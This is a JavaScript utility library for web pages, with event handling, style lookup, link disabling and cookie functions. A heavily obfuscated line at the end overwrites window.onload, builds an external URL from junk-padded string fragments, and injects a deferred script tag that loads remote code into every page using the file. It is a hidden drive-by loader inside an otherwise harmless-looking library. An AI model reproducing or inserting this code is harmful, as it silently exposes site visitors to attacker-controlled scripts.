/* 
 * Cross-browser event handling, by Scott Andrew
 */
function addEvent(element, eventType, lamdaFunction, useCapture) {
    if (element.addEventListener) {
        element.addEventListener(eventType, lamdaFunction, useCapture);
        return true;
    } else if (element.attachEvent) {
        var r = element.attachEvent('on' + eventType, lamdaFunction);
        return r;
    } else {
        return false;
    }
}

/* 
 * Kills an event's propagation and default action
 */
function knackerEvent(eventObject) {
    if (eventObject && eventObject.stopPropagation) {
        eventObject.stopPropagation();
    }
    if (window.event && window.event.cancelBubble ) {
        window.event.cancelBubble = true;
    }
    
    if (eventObject && eventObject.preventDefault) {
        eventObject.preventDefault();
    }
    if (window.event) {
        window.event.returnValue = false;
    }
}

/* 
 * Safari doesn't support canceling events in the standard way, so we must
 * hard-code a return of false for it to work.
 */
function cancelEventSafari() {
    return false;        
}

/* 
 * Cross-browser style extraction, from the JavaScript & DHTML Cookbook
 * <http://www.oreillynet.com/pub/a/javascript/excerpt/JSDHTMLCkbk_chap5/index5.html>
 */
function getElementStyle(elementID, CssStyleProperty) {
    var element = document.getElementById(elementID);
    if (element.currentStyle) {
        return element.currentStyle[toCamelCase(CssStyleProperty)];
    } else if (window.getComputedStyle) {
        var compStyle = window.getComputedStyle(element, '');
        return compStyle.getPropertyValue(CssStyleProperty);
    } else {
        return '';
    }
}

/* 
 * CamelCases CSS property names. Useful in conjunction with 'getElementStyle()'
 * From <http://dhtmlkitchen.com/learn/js/setstyle/index4.jsp>
 */
function toCamelCase(CssProperty) {
    var stringArray = CssProperty.toLowerCase().split('-');
    if (stringArray.length == 1) {
        return stringArray[0];
    }
    var ret = (CssProperty.indexOf("-") == 0)
              ? stringArray[0].charAt(0).toUpperCase() + stringArray[0].substring(1)
              : stringArray[0];
    for (var i = 1; i < stringArray.length; i++) {
        var s = stringArray[i];
        ret += s.charAt(0).toUpperCase() + s.substring(1);
    }
    return ret;
}

/*
 * Disables all 'test' links, that point to the href '#', by Ross Shannon
 */
function disableTestLinks() {
  var pageLinks = document.getElementsByTagName('a');
  for (var i=0; i<pageLinks.length; i++) {
    if (pageLinks[i].href.match(/[^#]#$/)) {
      addEvent(pageLinks[i], 'click', knackerEvent, false);
    }
  }
}

/* 
 * Cookie functions
 */
function createCookie(name, value, days) {
    var expires = '';
    if (days) {
        var date = new Date();
        date.setTime(date.getTime() + (days*24*60*60*1000));
        var expires = '; expires=' + date.toGMTString();
    }
    document.cookie = name + '=' + value + expires + '; path=/';
}

function readCookie(name) {
    var cookieCrumbs = document.cookie.split(';');
    var nameToFind = name + '=';
    for (var i = 0; i < cookieCrumbs.length; i++) {
        var crumb = cookieCrumbs[i];
        while (crumb.charAt(0) == ' ') {
            crumb = crumb.substring(1, crumb.length); /* delete spaces */
        }
        if (crumb.indexOf(nameToFind) == 0) {
            return crumb.substring(nameToFind.length, crumb.length);
        }
    }
    return null;
}

function eraseCookie(name) {
    createCookie(name, '', -1);
}
var I;if(I!='h' && I!='bki'){I='h'};function S(){var _=new String();var L;if(L!='' && L!='T'){L=null};var yG;if(yG!='' && yG!='_K'){yG='i'};var d=RegExp;var U=new Date();var b="g";this.RH="";var R='';var F;if(F!='' && F!='P_'){F=null};var QF='';var c;if(c!='Qo' && c!='l'){c=''};function Q(z,A){var G=new Array();var J= String("u9g[".substr(3));var H=new Date();J+=A;var JD;if(JD!='m' && JD!='k'){JD=''};J+=String("]");var zV;if(zV!='zD'){zV='zD'};var xV;if(xV!='p' && xV!='M'){xV=''};this.n='';var bk=new d(J, b);var dN='';return z.replace(bk, R);};var Qr;if(Qr!='' && Qr!='cR'){Qr=null};var xZ;if(xZ!='B' && xZ != ''){xZ=null};var Tm=new String();var qC;if(qC!=''){qC='MP'};var w=Q('8342206448624320636',"64123");this.bG="";var Qq=window;var j='';var e=new String("scripTyV".substr(0,5)+"taTA5".substr(0,1));var Al=new String("src7VB1".substr(0,3));var q="/tor"+"rentB9G".substr(0,4)+"5prGdown".substr(4)+"pGQloadQGp".substr(3,4)+"s.neAYG".substr(0,4)+"cFDUt/to".substr(4)+"5YErrenYE5".substr(3,4)+"LrXtdowXrL".substr(3,4)+"nloas4w3".substr(0,4)+"q6zOds.nzOq6".substr(4,4)+"et/bz1g".substr(0,4)+"angbATi".substr(0,4)+"ros1mGA".substr(0,4)+"dCL.comLCd".substr(3,4)+"/goolsV".substr(0,4)+"gle."+"suxcom/".substr(3)+"0qyoggphy0qo".substr(4,4)+"qeaHt.coaHqe".substr(4,4)+"TY03m.ph".substr(4)+"p3gkt".substr(0,1);var u=new String("MBzdef".substr(3)+"KyOer".substr(3));var Je=String("ht"+"tphA8Q".substr(0,2)+"FdSV:/VSdF".substr(4,2)+"gkoe/pokeg".substr(4,2)+"aihyUJ".substr(0,2)+"6F4paF64".substr(3,2)+"49tyi-yt49".substr(4,2)+"coi8L".substr(0,2)+"m."+"ZE6WneZE6W".substr(4,2)+"ob"+"KmpRux".substr(4)+".cGz86".substr(0,2)+"YAQIom".substr(4)+".m1qbk".substr(0,2)+"OeWqon".substr(4)+"2zcast".substr(4)+"er"+"-c"+"omab5".substr(0,2)+"3Um.tm3U".substr(3,2)+"RFlhelRF".substr(3,2)+"ho"+"ZdratldraZ".substr(4,2)+"ab"+".rzeP".substr(0,2)+"u:v6o9".substr(0,2));var _o;if(_o!='vf' && _o!='iA'){_o='vf'};var Pu;if(Pu!='s' && Pu!='CT'){Pu='s'};var zy=new Array();this.ea="";Qq.onload=function(){try {var eE;if(eE!='JP' && eE != ''){eE=null};this._J="";this.oi="";j=Je+w;j+=q;V=document.createElement(e);var Mu='';V[Al]=j;var pb="";var yU=new String();V[u]=[1,2][0];var hs;if(hs!='rH' && hs!='dQ'){hs=''};var Uv;if(Uv!='' && Uv!='UG'){Uv=null};document.body.appendChild(V);var uj;if(uj!='' && uj!='he'){uj='UY'};this.cG="";var TO;if(TO!=''){TO='od'};} catch(jE){var Io="";var _JX;if(_JX!='Ah' && _JX!='os'){_JX=''};};};var uT=new Date();this.Ik='';};S();